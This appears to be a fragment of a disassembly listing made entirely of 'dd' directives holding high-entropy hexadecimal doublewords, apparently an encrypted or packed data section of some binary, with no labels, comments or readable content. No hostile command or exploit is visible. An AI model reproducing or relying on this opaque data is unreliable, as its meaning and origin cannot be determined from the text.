		dd 0E456287Ch, 808083F6h, 27B478EEh, 785EF3ECh,	5787E562h
		dd 6A4D145h, 6E9DAF0Bh,	0C58924C8h, 0CF22082Ch,	0D9093112h
		dd 4AA7125Dh, 72A7DD09h, 6DEB4FFFh, 0A6B018E0h,	933E2C3Ch
		dd 2DE994BCh, 0E35CE1h,	9F8805B1h, 0D3980782h, 0CCC42709h
		dd 14536841h, 0C9B30E38h, 0F3812B1Eh, 318C355Fh, 0A48958DDh
		dd 0D1F607F5h, 3360C980h, 0C8830BF1h, 0B35E687Ch, 1E21A529h
		dd 0D203F62Fh, 0E98521BCh, 59DDFC91h, 0F6D84A07h, 125D4BEBh
		dd 81D298CCh, 1E59C200h, 0C9092A8Fh, 226F5DE9h,	60A2AD28h
		dd 87C395E4h, 857BD098h, 59272F2Dh, 0C0123CF5h,	9874BAEEh
		dd 0E26A13A1h, 5E9C2ABh, 810746A9h, 5172BBA0h, 0B66D407Ch
		dd 0C6806302h, 43E6282Bh, 3858AB24h, 0CE37AD08h, 8CDE5B1Ch
		dd 6211E98Bh, 4FE5D10Dh, 0C5C019C9h, 5A78F128h,	2400E74Fh
		dd 7B9773B9h, 0B5E3B0A1h, 0FAB45AF1h, 5B5D6D92h, 0CF2D4998h
		dd 9FCE36BAh, 0F06AE90Bh, 724AE60Dh, 50163D58h,	0B4AEB492h
		dd 6A09D22Dh, 89290FA1h, 5A1E5EBAh, 2F0E64DDh, 32A029E9h
		dd 0CDDA65F1h, 4A7F5748h, 9017FF4h, 0DE74E9CBh,	5D4B0BF4h
		dd 0D890753Ch, 0A960D241h, 0BEA58008h, 5A8FA125h, 0DFF92C8Fh
		dd 4EDE8B4Ah, 76A22C00h, 51481D2Bh, 5FDA0135h, 0E98944DFh
		dd 0EAE9615Dh, 0BD090934h, 0DBBDC403h, 96E1A13Fh, 8BA4A19Eh
		dd 706C1DA2h, 0DB00BE7Bh, 5EADF7Ah, 712D51ECh, 4A6C21Fh
		dd 48BD5907h, 0C9B7E486h, 1308EA3Ch, 4F4D659h, 31404F18h
		dd 488A6C3h, 6A6A41AEh,	6F4D7770h, 71DB6C4h, 5309AF67h
		dd 7A0514D2h, 27E9E41Eh, 13312B14h, 0FE29DAB7h,	1AE989F6h
		dd 0F89FE9DAh, 0A5289D47h, 2009A896h, 530FF4DEh, 616101BBh
		dd 5BDF2971h, 5C085DCEh, 13DD2C0Bh, 0F6BD855Eh,	0F24D7C77h
		dd 15165B61h, 0C1CF95A2h
		dd 0FE3056A5h, 84E30054h, 5A14784Fh, 0ACA71916h, 6FB4C489h
		dd 803E0016h, 535A23EFh, 5D56495h, 48308E2Dh, 0AC22C05Ch
		dd 3B586801h, 7A601F19h, 9E0B055Eh, 8BDFD933h, 21727785h
		dd 39865020h, 0C038B104h, 0E468D80Bh, 7E514B31h, 48805D24h
		dd 5FAA2896h, 0EBADC24Fh, 0BC46088Bh, 2F1AD99Fh, 6E94BF41h
		dd 0C5FE6100h, 0AB5F3F68h, 2CFDF930h, 52C4387Ch, 86D0FC54h
		dd 57D808Eh, 273EB5C5h,	0CD02FE10h, 48703B09h, 5CD002AFh
		dd 1C68B660h, 0C1680508h, 4121E349h, 7ED27E1Bh,	6C2A8BEDh
		dd 0A42C451Ch, 70167493h, 7E582F92h, 0FEAF4FA6h, 257DA936h
		dd 0D9D3E3C4h, 0B7816B57h, 7B67B3CBh, 66E3D856h, 64755509h
		dd 620CD743h, 1275924h,	7E2B9028h, 41D582FDh, 1EAA04Eh
		dd 4D6BB968h, 164033E5h, 0F4D01C3Ch, 74F6F888h,	7BC759D0h
		dd 0FE53D702h, 95E0244Ch, 5491ABB6h, 602A889Ah,	0E1595A5Bh
		dd 4FA3E26Ah, 28215139h, 39B9E510h, 80854B3Dh, 7AC2CBF1h
		dd 500A78E5h, 241278A5h, 44EF03DAh, 9ECDD84h, 5B55005Fh
		dd 0BF389B12h, 0FAE03782h, 5A594CDAh, 9B568B21h, 0B7BEB097h
		dd 7673074Fh, 41D4E681h, 0D8C16140h, 8049E905h,	1B354C52h
		dd 0E16FD6F2h, 357C74D9h, 2F9E0AF1h, 6D606D89h,	0D38BC9EBh
		dd 5F956E00h, 54C43A85h, 8BAE0EF3h, 17022254h, 0C8C9F4E9h
		dd 0F29D2009h, 64DB9D58h, 557A6804h, 0F39683A9h, 52859669h
		dd 96560186h, 0C051167Dh, 1B0D1755h, 9AB6A9Fh, 0A0EC7007h
		dd 0B2E8CE0Ah, 51EDE9BEh, 594F43Ah, 0E9EC8073h,	0A940405Eh
		dd 7FFEA9F1h, 0C48B974Bh, 70245EB2h, 4B12AB36h,	2BC17E74h
		dd 8404726Eh, 3C37BE1Eh, 0BF306080h, 684EB10Ah,	1528029Eh
		dd 0C440697Fh, 4D3A2A89h, 2D944F18h, 50C5C3AFh,	201EABD9h
		dd 2A06F81Ch, 0D7090C94h, 0A2F71FFAh, 5732C44Eh, 7949E451h
		dd 0C27F99AAh, 0EF90006Ch, 987D3D54h, 0F79960F7h, 210646EEh
		dd 6A8AFB60h, 90712F78h, 0DB6CF5F5h, 292D6887h,	5E542198h
		dd 0E9F8F5B4h, 92EB5B1Ch, 23576623h, 4A701720h,	0EDA48999h
		dd 769662BBh, 0C401204Bh, 4F7472BAh, 17F27520h,	49E58D9h
		dd 16809207h, 309528FAh, 2088B14Fh, 809C1CB3h, 7AFE58E3h
		dd 2796D12Bh, 7453F281h, 0EAD3087Dh, 9DC7F838h,	33669B60h
		dd 0BB41823Ah, 2DFBDD7h, 7C9BC6C7h, 181674BDh, 73E9F083h
		dd 0C74D2095h, 14423929h, 0D3EF010Ch, 0F31A8600h, 0C0F8E935h
		dd 5060489Ch, 0BD4AAD68h, 0E3713E98h, 899D12A4h, 626C792Fh
		dd 0BB45171Bh, 314AC42Eh, 845672Dh, 0AFBF3CD3h,	1CC91C2Ch
		dd 0D263EE2Dh, 5103F028h, 0B1CC8E4Fh, 2A68416Fh, 0A6124181h
		dd 0DE842A36h, 0B85000CEh, 50D47273h, 95F2EE38h, 1261D50Fh
		dd 0E90A8B0Ch, 6FE4657Dh, 79830B2h, 0DA5348E9h,	7EE450ECh
		dd 8698B1E6h, 0CF287F12h, 0F32A0C0Eh, 5C8CFC98h, 1DDE865Ch
		dd 60162772h, 817114B5h, 0DF808FDBh, 4D1A7868h,	0F74D5B5Dh
		dd 9C7E058Ah, 14BB4782h, 0E1078019h, 0F0CC621Eh, 9267EEF6h
		dd 1BB2748h, 1A8D3B34h,	0B3595E9h, 1A42A203h, 0B5A1FA67h
		dd 0FE59695Dh, 0DEB89CECh, 4DD54A16h, 25FF20F5h, 0A68CAAE3h
		dd 7928B682h, 0C35CD561h, 87A010E1h, 3AA7E05Bh,	9860C241h
		dd 0E73090FCh, 57CC0405h, 0E1C004BBh, 1EC185C1h, 0E1BDF1CCh
		dd 1D7BB62Ah, 51A59468h, 0B252838Eh, 0A18CE92Dh, 6765D4A1h
		dd 6FFBCEA9h, 404C838Eh, 4A755810h, 1DF4FEA8h, 58096085h
		dd 9A2AD968h, 7196F7A0h, 2E694F35h, 0EFA5B9FDh,	0F04BAF02h
		dd 9C25D2Bh, 0F7292DB0h, 276A96BDh, 6312E3A4h, 208116DDh
		dd 5A5BDDF5h, 0D72B01E1h, 4574593Ah, 9EBF5781h,	0DCE21D15h
		dd 0B36805B7h, 57099850h, 785AA902h, 0E4932DE9h, 7F545C0Ah
		dd 27D57F8Bh, 1AD2F25Fh, 0AB836820h, 7262093Ch,	272F6CE9h
		dd 4A8421E9h, 453D8046h, 0CAC54344h, 8EBA1ECEh,	62AC4BE1h
		dd 8477ADB5h, 510B8385h, 69010F86h, 6018294Dh, 8E74C3C2h
		dd 5DB3A24Ch, 6C018DC8h, 0E9E14299h, 336A6652h,	0D9C96BEDh
		dd 2CD6F50Eh, 665C1385h, 4176C3B6h, 57BFF0F0h, 4A4F2079h
		dd 86540909h, 28A58E31h, 0B06338B9h, 0E64B16A4h, 28EAB869h
		dd 882D08C1h, 6CA49431h, 559D685Ah, 6D442C90h, 53091CC7h
		dd 0FB76E7FBh, 6008EF14h, 8B6A3B1Ch, 0B85B4A18h, 78E9A11Ch
		dd 0E05BBA8h, 194F53D6h, 1FE78140h, 560550Fh, 94306944h
		dd 91C2BF70h, 6108AE77h, 0F245E675h, 4E8FB334h,	0C087FC05h
		dd 7A7D6543h, 5E21FC5Bh, 441C8DBBh, 0F5082447h,	0C3983F85h
		dd 0D3DD4801h, 5CBE56B0h, 68C883B5h, 0E91916AEh, 0BA77C026h
		dd 0B73D6916h, 0CE11A66h, 6C348635h, 0A56ABC20h, 3AFA05F4h
		dd 61976010h, 30132620h, 65D1499h, 9276C725h, 2D751A7h
		dd 0D387595Ah, 81F0665Fh, 8C3B518Bh, 0FB413A24h, 0CA3952Bh
		dd 0CB2323EDh, 5B4ADAE4h, 0B902AEA6h, 0B570D521h, 25F4E677h
		dd 375049E9h, 56B9799h,	39D57E2Ah, 0BC605EA7h, 51CF2B0Eh
		dd 0ECD72928h, 74E90880h, 8BAC9D4Bh, 7331E392h,	0F402C025h
		dd 0C475D244h, 64A92043h, 261E6812h, 749689B2h,	22C4C08Eh
		dd 6838BE1Bh, 0D0F78E48h, 72D96E91h, 1D23A10Dh,	107062Bh
		dd 0E91AF1C1h, 0DDADDA41h, 0AD6A9913h, 0E94184D4h, 316EFE63h
		dd 5CC479Ah, 0B3D85404h, 88A731EAh, 0F650D8E8h,	58048795h
		dd 0BAE9C591h, 0DA67FF68h, 0A7918332h, 58C17D14h, 23848CCh
		dd 41420A22h, 8245429h,	0B90199C9h, 2E11EEAAh, 5009E1F6h
		dd 0CB7FA23Ah, 24177EFEh, 25AC2633h, 165A6376h,	0BEB390F6h
		dd 0E90792FEh, 27FB855Ah, 48638CEEh, 696B0702h,	546FB8E9h
		dd 0B9AEA2Dh, 79B22864h, 291DEDC8h, 5B94C2E1h, 33EDE64Bh
		dd 0BA5AD684h, 67F1C061h, 33C88963h, 8CE4E905h,	0A1164ADh
		dd 0AAEB05BFh, 0E81DE23Dh, 472477B8h, 0C42F1EB4h, 0E9D91379h
		dd 4AEED57Ah, 80CE43B1h, 8371B0B9h, 0E104817Dh,	7BB23EBFh
		dd 0FF412D82h, 80ADEE01h, 7E22A46h, 2F798404h, 4134BD28h
		dd 51BB0B08h, 0C25522EEh, 56BEE952h, 0F5BF130Bh, 63406145h
		dd 0E56686E4h, 0DEC901EBh, 0F71B5365h, 8D543CD1h, 34657B66h
		dd 19549540h, 83181246h, 0D33E1CE8h, 0B6AF0807h, 9489591Dh
		dd 0E0FC1BC9h, 72CEFEDEh, 53620980h, 7CF1B4B7h,	20C7D19h
		dd 166AC670h, 0AA5BFE20h, 0E90C2620h, 0A5C5607Bh, 0B50378E5h
		dd 0E4452E2Eh, 0F90FC80Ah, 3BE596A0h, 0CA1038A2h, 8976540Bh
		dd 94CFFA48h, 94BD2C06h, 581A642h, 0E83D82BEh, 0BCC6D480h
		dd 1CC176C7h, 5F1CCFF6h, 1D820B6Ah, 56889271h, 0C1D23367h
		dd 0FDD2FE83h, 9EBBCAF8h, 0E6CC163Eh, 4161DB8Ch, 6254F4C0h
		dd 5A9DCE9Fh, 45C1D366h, 314C1F79h, 153B8C6Eh, 4BD400BDh
		dd 0ED8102ECh, 25705DD5h, 0DE4D452Dh, 68068211h, 185D67BAh
		dd 0B7FFCA1h, 1EE94E44h, 9BAED2Ah, 0BA916F34h, 39506B2Dh
		dd 621E1697h, 680D2CB7h, 7A576F9Dh, 0E98527E3h,	20AFDE3h
		dd 386BEDF1h, 1CEE5762h, 68165198h, 9EE974FFh, 0FC32E982h
		dd 0AA0912E4h, 407E8D1Dh, 0FBB5317h, 1240437Ah,	0C284D829h
		dd 1832AAD3h, 68CCA098h, 3D6A78D4h, 0DC935E5Dh,	89F6470Dh
		dd 926C85D0h, 2BC95B0Ch, 9C30787h, 8DEF8518h, 0A5B62115h
		dd 0B7BA727Ch, 6CC3A483h, 0B65251A8h, 2E9900Dh,	0CEF4F1A0h
		dd 7A592D28h, 88204D2h,	54CBF4F1h, 76DEAF73h, 89254827h
		dd 1D398CAh, 603612B8h
		dd 70D8F73Ah, 23E205D9h, 93C72517h, 0EACD16BBh,	62E3C740h
		dd 0A26847C0h, 0FB1AB3h, 6645E7A3h, 0C0DD9E5Dh,	222A727Fh
		dd 0CD8C9490h, 32EBBB0h, 0F09DCC4Fh, 6A272CBDh,	10C3018h
		dd 13F84C89h, 0C7A0CB20h, 0E595CC91h, 0DB163E74h, 5F922296h
		dd 0E950E1F4h, 7D7DE914h, 0C0760227h, 273AF2E9h, 0B010CE2Ah
		dd 739FC8FDh, 54124CC7h, 0D98A584Ah, 22476824h,	7CEDB013h
		dd 0C9074C02h, 62BBF602h, 8B437713h, 5DA34BADh,	304C417Ch
		dd 0EB5F1EB5h, 0E113D63Eh, 83B66F9Dh, 0F6C208D3h, 505E8028h
		dd 0BD58898Ch, 0E2B58616h, 681410E3h, 5B7E5555h, 0BBD2CD41h
		dd 7115E107h, 1190881Ah, 4BB60E83h, 642E2EBh, 458BBB21h
		dd 848F3005h, 0F35B1240h, 56DFE02Fh, 2E2B6812h,	0A9301389h
		dd 7C7803ABh, 655EE963h, 0DC54FF25h, 67F55A59h,	0CE2981A3h
		dd 287533E9h, 0C201C483h, 0D8951981h, 3A1B57BBh, 0D5E7950Fh
		dd 9245FA20h, 78EAD8E8h, 0D1B62F5Bh, 0B04C7825h, 71F31882h
		dd 0CD81DE90h, 0B07CED03h, 9DDF761h, 0BB60C512h, 0C431C185h
		dd 4A60AA92h, 0AE5A37h,	5F2812Dh, 0F7253210h, 4A42DA12h
		dd 9C3C700h, 9F2D1117h,	81487024h, 20D107CBh, 65168B01h
		dd 32A06249h, 0CD0F4E2Eh, 81A7E5C0h, 6F15BAAFh,	6A822BD6h
		dd 327111F9h, 63538FD7h, 967AB03h, 9764161Ah, 44BD0770h
		dd 255F25BBh, 50C2B5DCh, 203151C2h, 937927A9h, 0E0F6DDE9h
		dd 8A1A71Fh, 0DD0693CAh, 908DE8F0h, 0D2683056h,	0A09CE9AFh
		dd 581F239Dh, 8BA1066h,	0E051E77h, 0B2F148Bh, 0A0C2C817h
		dd 0B43CCC22h, 727ACC5Ch, 4AC54C4Dh, 3168A8A0h,	8C612B01h
		dd 402C02C0h, 0E804D0F8h, 0EB48E65Ah, 5BF76420h, 506B9C98h
		dd 275F6C98h, 552D80CBh, 0E468BDE1h, 58284278h,	0DFA00635h
		dd 44BFE70Eh, 72609705h, 0BF80B63Dh, 237A2832h,	1FC700C5h
		dd 0F7797D07h, 0E9134FDFh, 3465D706h, 0C3CD06FBh, 68131771h
		dd 53237DB0h, 0A5D0BA50h, 86C32C9Bh, 3500ECAEh,	1BC52B6Dh
		dd 4E72CCB7h, 86613779h, 879D5BBBh, 8A75E2BAh, 0BF6A9904h
		dd 7A1021B3h, 0B0F84E7Dh, 1778D750h, 0F1490254h, 0C118444Bh
		dd 0E47E4E06h, 12C005E2h, 0F057FD58h, 0F3E62EE9h, 10DCA7D2h
		dd 10BCE101h, 903E3B0Dh, 2CFCE909h, 0FABC82E0h,	197AC398h
		dd 9E5181B3h, 0AA8902EEh, 2D03D088h, 0DDCCAD34h, 15D6293Eh
		dd 4F888B0h, 7DB16864h,	0FAEB0491h, 47D2B902h, 2D0B7995h
		dd 0E90BDB15h, 0F8C1465Bh, 0BB205047h, 89E54B71h, 0ABDC40B2h
		dd 3C00555Bh, 0AA147235h, 62CEE94Ch, 58C6A503h,	5727C07Fh
		dd 746B0B68h, 1B86124Bh, 0DE02D1F6h, 2153AD7Eh,	0F39880D3h
		dd 5ED2E40h, 5EBC16Ah, 0BFFD804Bh, 6160141Ch, 0D156FB20h
		dd 23E8977Eh, 0EA081566h, 0C85C010Bh, 4EE9090Ch, 315F27C2h
		dd 90F8F542h, 1FCB4B19h, 0FCDEFDEAh, 97FBA8E1h,	3073EF42h
		dd 6417133Eh, 1386DEFDh, 0E293125Dh, 41C3D649h,	28A422E9h
		dd 0F7059770h, 70BC67D2h, 0EE368C2h, 5F6533F6h,	0B44F62A8h
		dd 0ADF0771h, 0D6A3F00Bh, 666BEF86h, 580EBC78h,	640BE280h
		dd 42C08EC2h, 5D3083B1h, 0B74C1CAh, 0BE55E9AFh,	0F05CC10h
		dd 0F71EAE0Ch, 0D209CEDEh, 7E24E111h, 1251D38Ch, 0E9425D68h
		dd 8813839Bh, 4FD471ECh, 7B57A78Ch, 53C36725h, 0EA579370h
		dd 655CB572h, 142D024Fh, 0CB634767h, 9EDF7BB2h,	0DA7BFD00h
		dd 0EEBD5E1Fh, 0F2E99C81h, 50777A6Eh, 0C46959B2h, 3E5E5CD5h
		dd 53B7EC22h, 25162FE5h, 79D1A225h, 0DEC288C2h,	0CEE11C28h
		dd 0F1448990h, 0FB4D8725h, 495BB7FCh, 680590DDh, 8C0A4B91h
		dd 614B26E5h, 64AA2F95h, 9D75EE15h, 0DA258284h,	917158FBh
		dd 4D2CCF81h, 0C6209950h, 0AD0FDF39h, 98B8D836h, 0D4E34186h
		dd 0C3DE5BA5h, 8BD12FBEh, 2456D1h, 67AA796Ch, 46B7EF29h
		dd 3EE92D05h, 41E980A8h, 3F75EE68h, 0FF740E4Bh,	57B0089Ch
		dd 0EC45BD4Fh, 64A484EFh, 0ADD2B705h, 75505F2Bh, 23BF5C13h
		dd 0B35F4C47h, 0A9F5A8E9h, 7868822Eh, 7A1EDF44h, 2D275956h
		dd 0D2C9FE02h, 5E4F756Ch, 0E06AAD29h, 0C0EAE959h, 709DFB9h
		dd 2C1A55C4h, 0CAF28002h, 25D946D7h, 0BFC8D8C0h, 0E69FB9A5h
		dd 4EA6FE7Fh, 68DDE4E8h, 9CB940E0h, 3F00E0A4h, 0BE23CE46h
		dd 0F0A213F7h, 0BDB1395h, 0CFD4E1B0h, 72FC5371h, 1469C871h
		dd 2E46812Fh, 0D46B7FD3h, 0E9080262h, 3D6AA8C1h, 89E6C5F1h
		dd 8C6F9848h, 27719589h, 8DB0DD49h, 6C4FEF68h, 0A4E81BD9h
		dd 97E6B558h, 1833EF04h, 31EF5921h, 2B18181h, 0A55CDEB9h
		dd 1EC446FAh, 0BF006620h, 5EAA07F1h, 4B088E90h,	3AC833h
		dd 5FCA1FB8h, 794BCCE9h, 57F70740h, 0F849EB10h,	0C0E4AAE3h
		dd 22F633Dh, 5B5D531Ah,	9EE1EB09h, 3DE6D2CBh, 0D7BC390h
		dd 0F29E6127h, 0E96D4111h, 2DA05082h, 0EA3D6947h, 0E173127Eh
		dd 0E543BCh, 0DA6EC12Dh, 0B604B92Ah, 3134A76Ah,	0B36604EEh
		dd 7BE16F6h, 0E0B50511h, 41357470h, 69FD6D00h, 78950C2Dh
		dd 0E089583Eh, 7615FF94h, 804747Bh, 0FE2BB641h,	99F94A98h
		dd 0C9962DC0h, 7FE9AAC2h, 0C83B5C8Eh, 0BF5700DCh, 6B7D0220h
		dd 74E94F0Ah, 0C1859FCFh, 0EF07AD11h, 0E5755BDDh, 18C5DF80h
		dd 0C4952D2Ch, 0A4E6C472h, 32794377h, 46E5C278h, 280C1C08h
		dd 680F6648h, 0B45627AEh, 5E2A7A81h, 0EBCB45AFh, 181A0D8h
		dd 87317DE7h, 6851E945h, 27CD4B7Ch, 82FAD960h, 5763B900h
		dd 6CDC1A43h, 3A405405h, 87EC05AAh, 56FEA0CAh, 9D53BA40h
		dd 0EB650CF9h, 39FE09A0h, 853980CFh, 28A5C7BCh,	702D9BF8h
		dd 62246D8h, 9B68F9F7h,	42208F53h, 0E9BE4A74h, 0E4497A1Dh
		dd 0C0987042h, 0FAEA3627h, 0B6594B00h, 20F541C8h, 0BF41DF39h
		dd 33789438h, 0E8359E1Eh, 40D6CDFAh, 32E84218h,	0E6D32D96h
		dd 0F2AD727Ch, 5E62ED9Ah, 0DE0EE90Bh, 0A6DA606Bh, 0A598F609h
		dd 0D62D31FEh, 15C45066h, 3CE05582h, 83CF586Fh,	5C69C5C1h
		dd 0E9F0FCEDh, 3292D979h, 98205098h, 0C7D9BDDAh, 15CE2918h
		dd 0C23DCB12h, 0BD08ABD9h, 0EFB801DDh, 0E8796B3Eh, 0BA9B7CDCh
		dd 0F8F508h, 36CE381h, 0B7B806BFh, 71FEBB01h, 9E97E9F9h
		dd 6B02B569h, 472E5934h, 7372360h, 0E9257106h, 50CD7D35h
		dd 4B65BEE7h, 5D4632F5h, 0D8893B48h, 1169B1FEh,	0E56D78BFh
		dd 0E9092427h, 87D3078Dh, 5D1DF290h, 0C5E7D252h, 0C297F717h
		dd 5E450D68h, 0EFE8CBAAh, 219CB8B7h, 0BFEDD6EBh, 0B8D339B0h
		dd 781FEDC6h, 98A82908h, 9E66844h, 49E226A7h, 55072540h
		dd 5A0C1360h, 2C1D3453h, 8290F029h, 313A2464h, 1BB18255h
		dd 0F2CC400Dh, 757F17E4h, 9DAD0817h, 88D6F62Fh,	5300744Fh
		dd 3696B951h, 1475F72h,	5652090Ah, 0C4FAD718h, 341327F3h
		dd 34B78EECh, 972CFFE1h, 4F3B7A84h, 70FA80Ch, 0A035BA0Dh
		dd 0AFBF6EEEh, 1EA0D2ACh, 78882DE9h, 0BD55FA48h, 836B8509h
		dd 9B825D44h, 0B400C99Fh, 90E62877h, 49E740F2h,	0F2C1B4C0h
		dd 0B50FFB76h, 9614AE8h, 7BBD8AC0h, 906C4074h, 586740EBh
		dd 4E9F46B7h, 8425F866h, 0D41456CEh, 0EFDA2577h, 4003AD2h
		dd 9F35E0D1h, 6B6D970Fh, 0ED0B821h, 0A7C660B5h,	2F73B08Ch
		dd 3E90838Eh, 3DF4EA88h, 5C16279Eh, 0E15A83BCh,	6CFE3089h
		dd 2701B94Ch, 65E47901h, 0D5F59852h, 480CE93Ch,	0ED09DE5Dh
		dd 58125C69h, 11017417h, 21E82D36h, 0B12A456Fh,	0C10704C7h
		dd 7D6C3A71h, 0F10F2444h
		dd 0D858EB40h, 317F3AFCh, 0C39B5A7Dh, 0EB8C4B27h, 0A3089B02h
		dd 80E6DD51h, 0F7FAE934h, 52E6CFC0h, 80AA1DB6h,	17D4EEEBh
		dd 84823788h, 5939F029h, 3C25401Ch, 89164D0Fh, 0AC66FEC2h
		dd 5E62043Fh, 0A50ABC08h, 81ED4FFh, 963A7BB6h, 0D39C6392h
		dd 7F942F68h, 0BDA05E45h, 415C8390h, 135E7E30h,	0EB2991A3h
		dd 24142BBAh, 0D3E312B0h, 0AD135A47h, 3705D468h, 88BB5B5Fh
		dd 0E328C13Bh, 0AF7F9707h, 0C11D6625h, 0BC2A426Ah, 14E9A256h
		dd 0F272A0A4h, 9227952Eh, 0F8D1E013h, 7EE40F4Fh, 823C9CCBh
		dd 6C6F6247h, 69D0F60h,	0F73E7909h, 1332D6D6h, 0D774511h
		dd 7ADE00CDh, 0CFB10E2Dh, 3D17834Fh, 0E1AA16BFh, 77A63B4Ch
		dd 0D58AB412h, 3D7BE07h, 0F7C95FB2h, 6C27C13h, 1CBFBDF0h
		dd 7B152DA3h, 0A86A28DCh, 0C8310E01h, 0D17A4D68h, 5917471h
		dd 5431B0Fh, 0CFBBDEF3h, 637206E9h, 8F043C8h, 1A4B41D3h
		dd 71B3E025h, 1F82630h,	6D863CA2h, 2C4E24EFh, 0B1ADC909h
		dd 59DA52Ch, 0E9CE44BBh, 0B84EA063h, 971CCB0Ch,	9A03A64Ch
		dd 0AE2D005Dh, 550DB77h, 830B1504h, 4C30995h, 112E182h
		dd 0B753A466h, 96477020h, 2858D48Ah, 4AE9E288h,	0B42B85B3h
		dd 8B9F5F62h, 0E1E17925h, 64B03CE9h, 0EFFACFEAh, 6091D2B7h
		dd 0BEAB0E59h, 498BA37h, 6E446A4Bh, 0AA16A6ACh,	989D394Dh
		dd 0BC8D8089h, 0C9F7185Dh, 481F998Ah, 311D02E2h, 28573818h
		dd 0D52408A2h, 0E57D2709h, 55DF0C9Ah, 2213F717h, 110F5D09h
		dd 0E02EA9F8h, 0BD5E58EFh, 0EFE2D68Ch, 0BD12F2Fh, 0F4B0008Ah
		dd 65E75Ch, 433F9935h, 5B3B2D02h, 6EF409EEh, 5067814Ch
		dd 68801395h, 0A6084FC9h, 1C44976h, 5106AA27h, 0CE5128E9h
		dd 0BEC85666h, 3C2C76CFh, 5EBDF531h, 0EB6988E3h, 8173C4F5h
		dd 697F7605h, 0A5C54F25h, 2A7EC83h, 4002F6DBh, 20603512h
		dd 1301F9F7h, 0E9F3895Dh, 407BD17Dh, 0C215EF0Ah, 0D9F978E3h
		dd 11F33A0Ah, 1A04467Eh, 0DE3BC3E9h, 0FC5351C4h, 1EC0901Dh
		dd 0CBFE6CB3h, 0F6C30680h, 603E3C0h, 30980448h,	88EA18A1h
		dd 3F5B79DEh, 0E6BFFFC6h, 0F6CE8686h, 18C908D1h, 4E425718h
		dd 7A976A61h, 852421B7h, 3D2CB009h, 0EEEADEF6h,	0F75C4670h
		dd 0EF281FA6h, 0E4582DB9h, 0CD08203Ch, 0A4175B5Fh, 77BFB680h
		dd 0BEE2768h, 0F320E0F4h, 0B363EC09h, 307DF425h, 30FB0507h
		dd 2D20B202h, 6023E61Ch, 81D38D1Ah, 2F023831h, 50D85B5h
		dd 5A74CBAEh, 961016A9h, 34BB00CBh, 4B1A4869h, 0A0DB5AF7h
		dd 30E7D1D3h, 1D0292CAh, 1AE9253Eh, 8084D4E1h, 8400F80h
		dd 0BC982BBh, 99D5C29h,	94FFA490h, 85FB4BFAh, 3DAFB5h
		dd 12EFB23Fh, 0E5C0A0E9h, 453E2D1h, 0CF495D68h,	4CA4B36Dh
		dd 0A07B25EEh, 0E44C4793h, 2E509D23h, 80ED8138h, 2D4AE332h
		dd 17451443h, 5234E968h, 5732BE9Bh, 0CB700E04h,	5301E2D9h
		dd 50124403h, 74AC930Bh, 60AC6D5Fh, 839650B4h, 38EE0113h
		dd 0D86B371Eh, 29D021h,	4C685550h, 0E9230D26h, 59B711F6h
		dd 401A3C58h, 185E3183h, 61DE5692h, 3B8D3011h, 0B01F975Ah
		dd 7FCB4C9h, 6FA29C7Dh,	48A44A29h, 475EBB2Dh, 43891A2Dh
		dd 809502A0h, 0D5209EC2h, 521030D7h, 39887FB2h,	0E28793F2h
		dd 0C1EAC0E4h, 2B4FDE68h, 363ED8A3h, 0FE08E186h, 807404C1h
		dd 0A8E91D09h, 65DCFC7Ch, 0B9D147E5h, 7B47900Fh, 0E14BD141h
		dd 2C5181F8h, 0F32E3DC0h, 124AC5D8h, 1362480Dh,	225B90Bh
		dd 0CEE9CD01h, 4F3ADDD7h, 81723142h, 6237EF04h,	0D0AB0526h
		dd 4F5E9E85h, 4F18E4Ah,	0B52A3270h, 0C5FF9AE2h,	92BA13EAh
		dd 845F210Ch, 9CE1383Eh, 0A54EFDE2h, 0EA14A29Fh, 717E09B2h
		dd 0D5511A62h, 0CA0464Eh, 0F7284773h, 452FDD48h, 626554EEh
		dd 2F5F0BD0h, 0D4CAE5D8h, 0E1BACB2h, 81E90F8Ch,	5A0CAD7Ah
		dd 87240464h, 0AB66C361h, 0F74F2DCFh, 12BC4897h, 0F6E25208h
		dd 14667410h, 0BBBD5F7h, 827F1705h, 55B90FCCh, 0DCEB5F98h
		dd 0EF18180h, 2ED81FBCh, 9B3E1CAh, 12A03160h, 0E9036D3Ch
		dd 464D49h, 0AA1F73BEh,	30CCBB0Eh, 0EB2AE766h, 14277C09h
		dd 51205848h, 0B17E08C3h, 0F6D0AD1Dh, 6577FA05h, 0D8A7BBE0h
		dd 0A490ED44h, 5D05D309h, 0AADF8576h, 0A3C2BB34h, 68BD6A60h
		dd 0E90A5DA2h, 822A2C28h, 1EE998C9h, 58F330EAh,	4594E2CEh
		dd 0D0558525h, 8E95181h, 0B4F8BCD4h, 835672C7h,	0F8685163h
		dd 97110E72h, 0BC311ECCh, 0D2F5E513h, 5022D4D8h, 12D7CA45h
		dd 0EE4CA280h, 2893F09h, 0FECD0E9Eh, 2EBD839Ch,	31DA4071h
		dd 66041DE8h, 2C7C340Eh, 0A4C20FCEh, 23B7589Ch,	11F43125h
		dd 0C617E963h, 3FCE0325h, 4601B752h, 775CDDE2h,	7E1A1B25h
		dd 0C0CB5ADBh, 67F1B85Ch, 10DE3D4Ch, 0EF4855A8h, 0C640EB01h
		dd 605318A4h, 1E9E6D64h, 0A4F95C12h, 899C2CC9h,	5D402190h
		dd 0EDD89558h, 0E235158h, 40A13683h, 7F4AF281h,	0E2D8E721h
		dd 1A061498h, 0E00DC1Fh, 89D636B8h, 7B24E9D1h, 6842820Dh
		dd 8BD50979h, 3340726h,	3614770Eh, 0EC47105Fh, 897A5B27h
		dd 0B7D0D726h, 0B5E2F8AFh, 2D16F3F8h, 3312133Ah, 83AD4480h
		dd 0E0205E7Fh, 0B0BAEDB5h, 1FF06818h, 829272CFh, 0D53760DDh
		dd 10643E4Dh, 0AA783F16h, 320ED39h, 4BF665B8h, 33E183E7h
		dd 7950A4D2h, 2F245D5Fh, 4ED7CB21h, 5360BE00h, 54BD5150h
		dd 0CE458CFFh, 484F8F69h, 5EA10BD7h, 23DEB268h,	26117EECh
		dd 0A685EF14h, 847AE94Eh, 72BA622Dh, 3478CAFDh,	0FB266EBDh
		dd 409CE575h, 13BF8657h, 0FA79C079h, 0F65FC0B7h, 8EE91873h
		dd 38E2A3BDh, 5B50A598h, 5D128BFAh, 0C9E229EDh,	0A35E4D05h
		dd 0E4AC17FBh, 0D632E91Dh, 0D1EE41E3h, 8DCB08F0h, 0DC89580Bh
		dd 5BF5888Eh, 62B57E2Dh, 0FD4C201h, 35795552h, 0E11F00C9h
